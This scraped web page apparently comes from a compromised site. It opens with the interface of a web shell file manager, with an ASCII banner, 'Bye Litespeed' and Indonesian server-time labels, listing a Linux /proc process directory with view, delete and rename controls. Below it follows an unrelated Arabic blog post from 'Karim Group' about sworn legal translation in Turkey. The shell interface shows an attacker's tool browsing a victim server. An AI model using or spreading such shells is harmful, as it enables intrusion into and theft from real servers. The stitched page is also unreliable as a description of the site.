Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-05 19:10:44
curdir: / / proc / 308345 / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 0 2026-03-05 19:07:07 0555
.. 0 2026-02-17 19:35:28 0555
attr 0 2026-03-05 19:10:44 0555
autogroup 0 2026-03-05 19:10:44 0644
auxv 0 2026-03-05 19:10:44 0400
cgroup 0 2026-03-05 19:10:44 0444
clear_refs 0 2026-03-05 19:10:44 0200
cmdline 0 2026-03-05 19:07:31 0444
comm 0 2026-03-05 19:10:44 0644
coredump_filter 0 2026-03-05 19:10:44 0644
cpu_resctrl_groups 0 2026-03-05 19:10:44 0444
cpuset 0 2026-03-05 19:10:44 0444
cwd 0 2026-03-05 19:07:07 0555
environ 0 2026-03-05 19:10:44 0400
exe 6413664 2025-11-20 22:16:54 0755
fd 0 2026-03-05 19:10:44 0500
fdinfo 0 2026-03-05 19:10:44 0500
gid_map 0 2026-03-05 19:10:44 0644
io 0 2026-03-05 19:10:44 0444
limits 0 2026-03-05 19:10:44 0444
loginuid 0 2026-03-05 19:10:44 0644
map_files 0 2026-03-05 19:10:44 0500
maps 0 2026-03-05 19:10:44 0444
mem 0 2026-03-05 19:10:44 0600
mountinfo 0 2026-03-05 19:10:44 0444
mounts 0 2026-03-05 19:10:44 0444
mountstats 0 2026-03-05 19:10:44 0400
net 0 2026-03-05 19:10:44 0555
ns 0 2026-03-05 19:10:44 0511
numa_maps 0 2026-03-05 19:10:44 0444
oom_adj 0 2026-03-05 19:10:44 0644
oom_score 0 2026-03-05 19:10:44 0444
oom_score_adj 0 2026-03-05 19:10:44 0644
pagemap 0 2026-03-05 19:10:44 0400
patch_state 0 2026-03-05 19:10:44 0400
personality 0 2026-03-05 19:10:44 0400
projid_map 0 2026-03-05 19:10:44 0644
root 4096 2026-02-18 04:20:50 0755
sched 0 2026-03-05 19:10:44 0644
schedstat 0 2026-03-05 19:10:44 0444
sessionid 0 2026-03-05 19:10:44 0444
setgroups 0 2026-03-05 19:10:44 0644
smaps 0 2026-03-05 19:10:44 0444
smaps_rollup 0 2026-03-05 19:10:44 0444
stack 0 2026-03-05 19:10:44 0400
stat 0 2026-03-05 19:07:07 0444
statm 0 2026-03-05 19:10:01 0444
status 0 2026-03-05 19:07:36 0444
syscall 0 2026-03-05 19:10:44 0400
task 0 2026-03-05 19:07:08 0555
timens_offsets 0 2026-03-05 19:10:44 0644
timers 0 2026-03-05 19:10:44 0444
timerslack_ns 0 2026-03-05 19:10:44 0666
uid_map 0 2026-03-05 19:10:44 0644
wchan 0 2026-03-05 19:10:44 0444
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.